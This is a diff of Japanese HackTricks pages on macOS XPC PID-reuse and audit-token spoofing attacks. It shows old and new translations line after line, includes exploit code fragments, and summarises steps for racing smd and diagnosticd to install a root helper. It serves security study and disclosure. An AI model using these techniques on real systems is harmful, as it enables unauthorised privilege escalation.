* **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## PID 再利用
## PID Reuse
macOS **XPCサービス**が**PID**に基づいて呼び出し元プロセスをチェックしている場合、**PID再利用攻撃**の脆弱性があります。この攻撃は、**悪用**される機能を**乱用**する**エクスプロイト**が**XPCサービスにメッセージを送信**し、その直後に**`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`**を実行する**競合状態**に基づいています。
macOSの**XPCサービス**が**PID**に基づいて呼び出されたプロセスを確認し、**監査トークン**ではない場合、PID再利用攻撃に対して脆弱です。この攻撃は**レースコンディション**に基づいており、**エクスプロイト**が**XPC**サービスにメッセージを**送信し**、その後に**`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`**を**許可された**バイナリで実行します。
この関数は**許可されたバイナリがPIDを所有**するようにしますが、**悪意のあるXPCメッセージは**ちょうどその前に送信されています。したがって、**XPC**サービスが**PID**を使用して**送信元を認証**し、**`posix_spawn`**の実行**後**にそれをチェックする場合、それは**認証された**プロセスから来たと思うでしょう
この関数は**許可されたバイナリがPIDを所有する**ようにしますが、**悪意のあるXPCメッセージはその前に送信されている**ことになります。したがって、**XPC**サービスが**PID**を使用して送信者を**認証**し、**`posix_spawn`**の実行**後**にそれを確認すると、それが**認可された**プロセスからのものであると考えます
### エクスプロイト例
### Exploit example
関数**`shouldAcceptNewConnection`**またはそれによって呼び出される関数が**`auditToken`**を呼び出さずに**`processIdentifier`**を呼び出している場合、それは**プロセスPID**を検証している可能性が高いです。\
たとえば、この画像(参照から取得)のように
もし**`shouldAcceptNewConnection`**という関数や、それを呼び出す関数が**`auditToken`**を呼び出さずに**`processIdentifier`**を呼び出しているのを見つけた場合、それは**プロセスPIDを確認している**可能性が高いです。\
例えば、以下の画像のように(参照から取得)
<figure><img src="../../../../../../.gitbook/assets/image (306).png" alt="https://wojciechregula.blog/images/2020/04/pid.png"><figcaption></figcaption></figure>
このエクスプロイトの例を確認してください(再度、参照から取得)2つのエクスプロイトの部分を見るために
このエクスプロイトの例を確認してください(再度、参照から取得)して、エクスプロイトの2つの部分を見てください
* **複数のフォークを生成**するもの
* 各フォークは**`posix_spawn`**を実行しながら**XPCサービスにペイロード**を**送信**します。
* 複数のフォークを**生成する**もの
* **各フォーク**は**メッセージを送信した後に**XPCサービスに**ペイロードを送信**しながら**`posix_spawn`**を実行します。
{% hint style="danger" %}
エクスプロイトが機能するためには、` export`` `` `**`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`**を設定するか、エクスプロイト内に入れることが重要です:
```objectivec
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
@ -40,7 +44,7 @@ asm(".section __DATA,__objc_fork_ok\n"
{% tabs %}
{% tab title="NSTasks" %}
**`NSTasks`** を使用した最初のオプションとして、子プロセスを起動して RC を悪用します
最初のオプションは、**`NSTasks`** を使用し、子プロセスを起動するための引数を利用してRCを悪用します
```objectivec
// Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
// gcc -framework Foundation expl.m -o expl
@ -149,7 +153,7 @@ return 0;
{% endtab %}
{% tab title="fork" %}
この例では、PIDレースコンディションを悪用する子プロセスを起動し、その後ハードリンクを介して別のレースコンディションを悪用するために、生の**`fork`**を使用します。
この例では、生の **`fork`** を使用して **PID レースコンディションを悪用する子プロセスを起動** し、次に **ハードリンクを介して別のレースコンディションを悪用** します:
```objectivec
// export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
// gcc -framework Foundation expl.m -o expl
@ -294,16 +298,17 @@ return 0;
* [https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/](https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/)
* [https://saelo.github.io/presentations/warcon18\_dont\_trust\_the\_pid.pdf](https://saelo.github.io/presentations/warcon18\_dont\_trust\_the\_pid.pdf)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合** は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする**
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,134 +1,152 @@
# macOS xpc\_connection\_get\_audit\_token 攻撃
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする。
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
**詳細については、元の投稿を確認してください:** [**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)。これは要約です:
**詳細情報は元の投稿を確認してください:** [**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)。これは要約です
## Machメッセージの基本情報
Machメッセージが何かわからない場合は、このページをチェックしてください:
Machメッセージが何か知らない場合は、このページを確認してください:
{% content-ref url="../../" %}
[..](../../)
{% endcontent-ref %}
今のところ、([ここからの定義](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
Machメッセージは _machポート_ を介して送信され、これは mach カーネルに組み込まれた **単一の受信者、複数の送信者通信** チャネルです。 **複数のプロセスが mach ポートにメッセージを送信**できますが、いつでも **単一のプロセスがそれを読み取る**ことができます。 ファイルディスクリプタやソケットと同様に、machポートはカーネルによって割り当てられ管理され、プロセスは整数しか見ません。これを使用して、カーネルに使用する mach ポートを示すことができます。
現時点では、([こちらからの定義](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing))\
Machメッセージは_machポート_を介して送信され、これは**単一受信者、複数送信者通信**チャネルで、machカーネルに組み込まれています。**複数のプロセスがメッセージを**machポートに送信できますが、任意の時点で**単一のプロセスのみがそれを読み取ることができます**。ファイルディスクリプタやソケットと同様に、machポートはカーネルによって割り当てられ、管理され、プロセスは整数を見て、それを使用してカーネルにどのmachポートを使用したいかを示します。
## XPC接続
XPC接続がどのように確立されるかわからない場合は、次を確認してください:
XPC接続がどのように確立されるか知らない場合は、次を確認してください:
{% content-ref url="../" %}
[..](../)
{% endcontent-ref %}
## 脆弱性の要
## 脆弱性の
知っておくと興味深いのは、**XPCの抽象化は1対1の接続**であるが、**複数の送信者を持つことができる技術**に基づいているということです:
知っておくべき興味深い点は、**XPCの抽象化は一対一の接続ですが、**複数の送信者を持つ技術の上に構築されているため、以下のようになります:
* Machポートは単一受信者、**複数送信者**です。
* XPC接続の監査トークンは、**最後に受信したメッセージからコピーされた監査トークン**です。
* XPC接続の監査トークンを取得することは、多くの **セキュリティチェック** にとって重要です。
* Machポートは単一受信者、**複数送信者**です。
* XPC接続の監査トークンは、**最受信したメッセージからコピーされた監査トークン**です。
* XPC接続の**監査トークン**を取得することは、多くの**セキュリティチェック**にとって重要です。
前述の状況は有望に聞こえますが、問題を引き起こさないシナリオもいくつかあります ([ここから](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
前述の状況は有望に聞こえますが、これが問題を引き起こさないシナリオもいくつかあります[こちらから](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)
* 監査トークンは、接続を受け入れるかどうかを決定するための認可チェックによく使用されます。これはサービスポートへのメッセージを使用して行われるため、**接続はまだ確立されていません**。このポートへの追加のメッセージは、追加の接続要求として処理されます。したがって、**接続を受け入れる前のチェックは脆弱ではありません**(これは `-listener:shouldAcceptNewConnection:` 内での監査トークンが安全であることを意味します)。したがって、**特定のアクションを検証する XPC 接続を探しています**。
* XPCイベントハンドラは同期的に処理されます。つまり、1つのメッセージのイベントハンドラを呼び出す前に、次のメッセージのイベントハンドラを呼び出さなければなりません。そのため、**XPCイベントハンドラ内では、他の通常の非応答メッセージによって監査トークンを上書きすることはできません**。
* 監査トークンは、接続を受け入れるかどうかを決定するための認証チェックにしばしば使用されます。これはサービスポートへのメッセージを使用して行われるため、**接続はまだ確立されていません**。このポートへの追加のメッセージは、追加の接続要求として処理されます。したがって、接続を受け入れる前の**チェックは脆弱ではありません**(これは、`-listener:shouldAcceptNewConnection:`内で監査トークンが安全であることも意味します)。したがって、私たちは**特定のアクションを検証するXPC接続を探しています**。
* XPCイベントハンドラは同期的に処理されます。これは、1つのメッセージのイベントハンドラが次のメッセージのために呼び出される前に完了する必要があることを意味し、同時にディスパッチキュー上でも同様です。したがって、**XPCイベントハンドラ内では、監査トークンは他の通常の非応答メッセージによって上書きされることはありません**。
れが悪用される可能性がある2つの異なる方法:
の脆弱性が悪用される可能性のある2つの異なる方法
1. Variant1:
* **Exploit** がサービス **A** とサービス **B****接続** します
* サービス **B** は、ユーザーができない **特権機能** をサービス **A** で呼び出すことができます
* サービス **A****`dispatch_async`** 内で **`xpc_connection_get_audit_token`** を呼び出すとき、**イベントハンドラ** の内部にいません
* したがって、**異なる**メッセージが **監査トークンを上書き** できます。なぜなら、イベントハンドラの外部で非同期にディスパッチされているからです。
* 悪用は **サービス A に対して SEND 権限をサービス B に渡します**
* したがって、svc **B** は実際にサービス **A** **メッセージを送信**します。
* **悪用** は **特権アクションを呼び出そうとします**。RC svc **A** はこの **アクション** の認可を **チェック** しますが、**svc B が監査トークンを上書き** したため(悪用が特権アクションを呼び出す権限を与えられる)、アクセスできるようになります
2. Variant 2:
* サービス **B** は、ユーザーができない **特権機能** をサービス **A** で呼び出すことができます
* 悪用は、**サービス A** に接続し、特定の **リプライポート****応答を期待するメッセージ** を送信します。
* 悪用は、**そのリプライポート** を渡すメッセージを **サービス B**送信します。
* サービス **B が応答する** と、**悪用** は **サービス A に異なるメッセージを送信** し、特権機能に到達しようとします。そして、サービス **B** からの返信が監査トークンを完璧なタイミングで上書きすることを期待します(競合状態)。
1. バリアント1
* **攻撃**はサービス**A**およびサービス**B**に**接続**します。
* サービス**B**は、ユーザーができないサービスAの**特権機能**を呼び出すことができます。
* サービス**A**は、**`xpc_connection_get_audit_token`**を呼び出しますが、**接続のイベントハンドラ内ではなく**、**`dispatch_async`**内で行います。
* したがって、**異なる**メッセージが**監査トークンを上書き**する可能性があります。なぜなら、それはイベントハンドラの外で非同期にディスパッチされているからです。
* 攻撃は**サービスBにサービスAへのSEND権を渡します**
* したがって、svc **B**は実際にサービス**A**に**メッセージを送信**します。
* **攻撃**は**特権アクションを呼び出そうとします**。RC svc **A**はこの**アクションの**認証を**チェック**しますが、**svc Bは監査トークンを上書きしました**(攻撃に特権アクションを呼び出すアクセスを与えます)
2. バリアント2
* サービス**B**は、ユーザーができないサービスAの**特権機能**を呼び出すことができます。
* 攻撃は**サービスA**に接続し、サービスは攻撃に特定の**応答を期待するメッセージ**を送信します。
* 攻撃は**サービス**Bにその**応答ポート**を渡すメッセージを送信します。
* サービス**B**が応答すると、サービスAにメッセージを**送信し**、**攻撃**はサービスAに異なる**メッセージを送信し**、特権機能に到達しようとし、サービスBからの応答が監査トークンを完璧なタイミングで上書きすることを期待しますレースコンディション)。
## Variant 1: イベントハンドラの外部で xpc\_connection\_get\_audit\_token を呼び出す <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
## バリアント1イベントハンドラの外でxpc\_connection\_get\_audit\_tokenを呼び出す <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
シナリオ:
シナリオ
* 両方に接続できる2つの mach サービス **`A`** **`B`**(サンドボックスプロファイルと接続を受け入れる前の認チェックに基づく)。
* **`A`** は、**`B`** が通過できる特定のアクションの **認可チェック** を持っている必要があります(ただし、アプリはできません)。
* たとえば、Bには **エンタイトルメント** があるか **root** として実行されている場合、Aに特権アクションを実行するように要求することができます
* この認可チェックのために、**`A`** は非同期で監査トークンを取得します。たとえば、**`dispatch_async`** から **`xpc_connection_get_audit_token`** を呼び出すことによって。
* 接続できる2つのmachサービス**`A`**と**`B`**(サンドボックスプロファイルと接続を受け入れる前の認チェックに基づく)。
* _**A**_は、**`B`**が通過できる特定のアクションの**認証チェック**を持っている必要があります(しかし、私たちのアプリはできません)。
* たとえば、Bがいくつかの**権利**を持っているか、**root**として実行されている場合、Aに特権アクションを実行するように要求できるかもしれません
* この認証チェックのために、**`A`**は非同期的に監査トークンを取得します。たとえば、**`dispatch_async`**から`xpc_connection_get_audit_token`を呼び出すことによって。
{% hint style="danger" %}
この場合、攻撃者は **悪用** をトリガーし、**`A` にアクションを実行するように要求** する **悪用** を複数回実行し、**`B` が `A` にメッセージを送信** するようにします。RC が **成功する** と、**`B`** の **監査トークン****メモリにコピー** され、**悪用** のリクエストが **A によって処理される間** に、特権アクションにアクセスできるようになります。これは **`A`** が `smd` として、**`B`** が `diagnosticd` として発生しました。[`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) 関数は、新しい特権ヘルパーツール(**root** として)をインストールするために使用できます。**root** として実行されているプロセスが **smd** に連絡を取る場合、他のチェックは実行されません。
この場合、攻撃者は**レースコンディション**を引き起こし、**Aにアクションを実行するように要求する**攻撃を何度も行いながら、**Bが`A`にメッセージを送信**させることができます。RCが**成功すると**、**B**の**監査トークン**がメモリにコピーされ、**私たちの攻撃**のリクエストがAによって**処理されている間**、特権アクションに対する**アクセスを与えます**。
{% endhint %}
したがって、サービス **B****`diagnosticd`** であり、**root** として実行されているため、プロセスを監視するために使用でき、監視が開始されると、1秒あたり複数のメッセージを送信します
これは、**`A`**が`smd`で、**`B`**が`diagnosticd`で発生しました。関数[`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc)は、特権ヘルパーツールを新たにインストールするために使用できます(**root**として)。もし**rootとして実行されているプロセスが**`smd`に接触すると、他のチェックは行われません
攻撃を実行するには:
したがって、サービス**B**は**`diagnosticd`**であり、**root**として実行され、プロセスを**監視**するために使用できます。監視が開始されると、**毎秒複数のメッセージを送信**します。
1. 標準の XPC プロトコルを使用して、`smd` という名前のサービスに **接続** を開始します。
2. `diagnosticd` に二次的な **接続** を形成します。通常の手順とは異なり、新しい mach ポートを作成して送信するのではなく、クライアントポートの送信権限は `smd` 接続に関連付けられた **送信権限** の複製で置き換えられます。
3. その結果、XPC メッセージを `diagnosticd` にディスパッチできますが、`diagnosticd` からの応答は `smd` にリダイレクトされます。`smd` にとっては、ユーザーと `diagnosticd` からのメッセージが同じ接続から発信されているように見えます。
攻撃を実行するには:
![攻撃プロセスを描いた画像](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
1. 標準XPCプロトコルを使用して、`smd`という名前のサービスに**接続**を開始します。
2. `diagnosticd`に二次的な**接続**を形成します。通常の手順とは異なり、2つの新しいmachポートを作成して送信するのではなく、クライアントポートの送信権が`smd`接続に関連付けられた**送信権**の複製に置き換えられます。
3. 結果として、XPCメッセージは`diagnosticd`にディスパッチできますが、`diagnosticd`からの応答は`smd`に再ルーティングされます。`smd`にとっては、ユーザーと`diagnosticd`の両方からのメッセージが同じ接続から発信されているように見えます。
4. 次のステップは、`diagnosticd` に選択したプロセス(おそらくユーザー自身)の監視を開始するよう指示することです。同時に、`smd` にルーチンの1004メッセージの洪水を送信します。ここでの目的は、特権を持つツールをインストールすることです。
5. このアクションは、`handle_bless` 関数内でレースコンディションを引き起こします。タイミングが重要です:`xpc_connection_get_pid` 関数呼び出しはユーザーのプロセスの PID を返さなければなりません(特権ツールはユーザーのアプリバンドルに存在します)。しかし、`xpc_connection_get_audit_token` 関数は、特に `connection_is_authorized` サブルーチン内で、`diagnosticd` に属する監査トークンを参照しなければなりません。
![攻撃プロセスを示す画像](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
## バリアント 2: リプライ転送
4. 次のステップは、`diagnosticd`に選択したプロセス(おそらくユーザー自身のプロセス)の監視を開始するように指示することです。同時に、`smd`に対して通常の1004メッセージの洪水が送信されます。ここでの意図は、特権のあるツールをインストールすることです。
5. このアクションは、`handle_bless`関数内でレースコンディションを引き起こします。タイミングが重要です:`xpc_connection_get_pid`関数呼び出しは、ユーザーのプロセスのPIDを返さなければなりません特権ツールはユーザーのアプリバンドル内に存在します。しかし、`xpc_connection_get_audit_token`関数は、特に`connection_is_authorized`サブルーチン内で、`diagnosticd`に属する監査トークンを参照しなければなりません。
XPCクロスプロセス通信環境では、イベントハンドラは同時に実行されませんが、リプライメッセージの処理にはユニークな動作があります。具体的には、リプライを期待するメッセージを送信するための 2 つの異なるメソッドが存在します:
## バリアント2応答の転送
1. **`xpc_connection_send_message_with_reply`**: ここでは、XPC メッセージは指定されたキューで受信および処理されます。
2. **`xpc_connection_send_message_with_reply_sync`**: これに対して、このメソッドでは、XPC メッセージは現在のディスパッチキューで受信および処理されます。
XPCプロセス間通信環境では、イベントハンドラは同時に実行されませんが、応答メッセージの処理には独自の動作があります。具体的には、応答を期待するメッセージを送信するための2つの異なる方法があります
この違いは重要です。なぜなら、**リプライパケットが XPC イベントハンドラの実行と同時に解析される可能性がある**からです。特に、`_xpc_connection_set_creds` は監査トークンの部分的な上書きを防ぐためにロックを実装していますが、この保護を接続オブジェクト全体には拡張していません。その結果、パケットの解析とそのイベントハンドラの実行の間に監査トークンが置換される脆弱性が生じます。
1. **`xpc_connection_send_message_with_reply`**ここでは、XPCメッセージが指定されたキューで受信され、処理されます。
2. **`xpc_connection_send_message_with_reply_sync`**対照的に、この方法では、XPCメッセージが現在のディスパッチキューで受信され、処理されます。
この区別は重要です。なぜなら、**応答パケットがXPCイベントハンドラの実行と同時に解析される可能性があるからです**。特に、`_xpc_connection_set_creds`は監査トークンの部分的な上書きを防ぐためにロックを実装していますが、接続オブジェクト全体に対してこの保護を拡張していません。したがって、パケットの解析とそのイベントハンドラの実行の間の間隔で監査トークンが置き換えられる脆弱性が生じます。
この脆弱性を悪用するには、次のセットアップが必要です:
* **`A`****`B`** という名前の 2 つの mach サービスが必要で、どちらも接続を確立できます。
* サービス **`A`** は、**`B`** のみが実行できる特定のアクションの認証チェックを含める必要があります(ユーザーのアプリケーションはできません)。
* サービス **`A`** は、リプライを期待するメッセージを送信する必要があります。
* ユーザーは、**`B`** に応答するメッセージを送信できます。
* **`A`**および**`B`**と呼ばれる2つのmachサービスで、どちらも接続を確立できます。
* サービス**`A`**は、**`B`**のみが実行できる特定のアクションのための認証チェックを含む必要があります(ユーザーのアプリケーションはできません)。
* サービス**`A`**は、応答を期待するメッセージを送信する必要があります。
* ユーザーは、**`B`**に応答するメッセージを送信できます。
悪用プロセスは以下の手順を含みます:
悪用プロセスは次のステップを含みます:
1. サービス **`A`** がリプライを期待するメッセージを送信するのを待ちます。
2. **`A`** に直接返信する代わりに、リプライポートがハイジャックされ、サービス **`B`** にメッセージを送信するために使用されます。
3. その後、禁止されたアクションを含むメッセージがディスパッチされ、**`B`** からの返信と同時に処理されることが期待されます。
1. サービス**`A`**が応答を期待するメッセージを送信するのを待ちます。
2. **`A`**に直接応答するのではなく、応答ポートをハイジャックしてサービス**`B`**にメッセージを送信します。
3. 次に、禁止されたアクションに関するメッセージをディスパッチし、**`B`**からの応答と同時に処理されることを期待します。
以下は、説明された攻撃シナリオの視覚的表現です:
![https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png](../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
!\[https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png]\(../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
<figure><img src="../../../../../../.gitbook/assets/image (33).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
## 発見の問題
* **インスタンスの特定の難しさ**: `xpc_connection_get_audit_token` の使用例を静的および動的に検索することは困難でした。
* **方法論**: `xpc_connection_get_audit_token` 関数をフックするために Frida を使用し、イベントハンドラから発信されない呼び出しをフィルタリングしました。ただし、この方法はフックされたプロセスに限定され、アクティブな使用が必要でした。
* **分析ツール**: IDA/Ghidra のようなツールを使用して到達可能な mach サービスを調査しましたが、dyld 共有キャッシュを含む呼び出しによって時間がかかり、複雑になりました。
* **スクリプトの制限**: `dispatch_async` ブロックから `xpc_connection_get_audit_token` への呼び出しを解析するためのスクリプト化の試みは、ブロックの解析と dyld 共有キャッシュとの相互作用の複雑さによって妨げられました。
* **インスタンスの特定の困難**`xpc_connection_get_audit_token`の使用例を静的および動的に検索するのは困難でした。
* **方法論**Fridaを使用して`xpc_connection_get_audit_token`関数をフックし、イベントハンドラから発信されない呼び出しをフィルタリングしました。しかし、この方法はフックされたプロセスに限定され、アクティブな使用が必要でした。
* **分析ツール**IDA/Ghidraのようなツールを使用して到達可能なmachサービスを調査しましたが、プロセスは時間がかかり、dyld共有キャッシュに関与する呼び出しによって複雑化しました。
* **スクリプトの制限**`dispatch_async`ブロックからの`xpc_connection_get_audit_token`への呼び出しの分析をスクリプト化しようとしましたが、ブロックの解析とdyld共有キャッシュとの相互作用の複雑さによって妨げられました。
## 修正 <a href="#the-fix" id="the-fix"></a>
* **報告された問題**: `smd` 内で見つかった一般的および特定の問題について、Apple に報告が提出されました。
* **Apple の対応**: Apple は `smd` 内の問題を `xpc_connection_get_audit_token``xpc_dictionary_get_audit_token` で置き換えることで対処しました。
* **修正の性質**: `xpc_dictionary_get_audit_token` 関数は、受信した XPC メッセージに関連付けられた mach メッセージから監査トークンを直接取得するため、安全であると見なされます。ただし、これは `xpc_connection_get_audit_token` と同様に公開APIの一部ではありません。
* **より包括的な修正の不在**: Apple が接続の保存された監査トークンと一致しないメッセージを破棄するなど、より包括的な修正を実装しなかった理由は明確ではありません。特定のシナリオ(たとえば、`setuid` の使用)で正当な監査トークンの変更が可能である可能性があることが要因かもしれません。
* **現在の状況**: 問題は iOS 17 および macOS 14 で依然として存在し、それを特定し理解しようとする人々にとって課題となっています。
* **報告された問題**Appleに、`smd`内で見つかった一般的および特定の問題を詳細に報告しました。
* **Appleの対応**Appleは、`smd`内の問題に対処し、`xpc_connection_get_audit_token`を`xpc_dictionary_get_audit_token`に置き換えました。
* **修正の性質**`xpc_dictionary_get_audit_token`関数は、受信したXPCメッセージに関連付けられたmachメッセージから直接監査トークンを取得するため、安全と見なされています。ただし、`xpc_connection_get_audit_token`と同様に、公開APIの一部ではありません。
* **より広範な修正の不在**Appleが接続の保存された監査トークンに一致しないメッセージを破棄するなど、より包括的な修正を実装しなかった理由は不明です。特定のシナリオ`setuid`の使用)での正当な監査トークンの変更の可能性が要因かもしれません。
* **現在の状況**この問題はiOS 17およびmacOS 14に残っており、これを特定し理解しようとする人々にとって課題となっています。
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# macOSライブラリインジェクション
# macOS Library Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を通じて**ゼロからヒーローまでAWSハッキングを学ぶ**</a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
- **Discordグループ**に**参加**する💬](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
- **ハッキングトリックを共有**するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
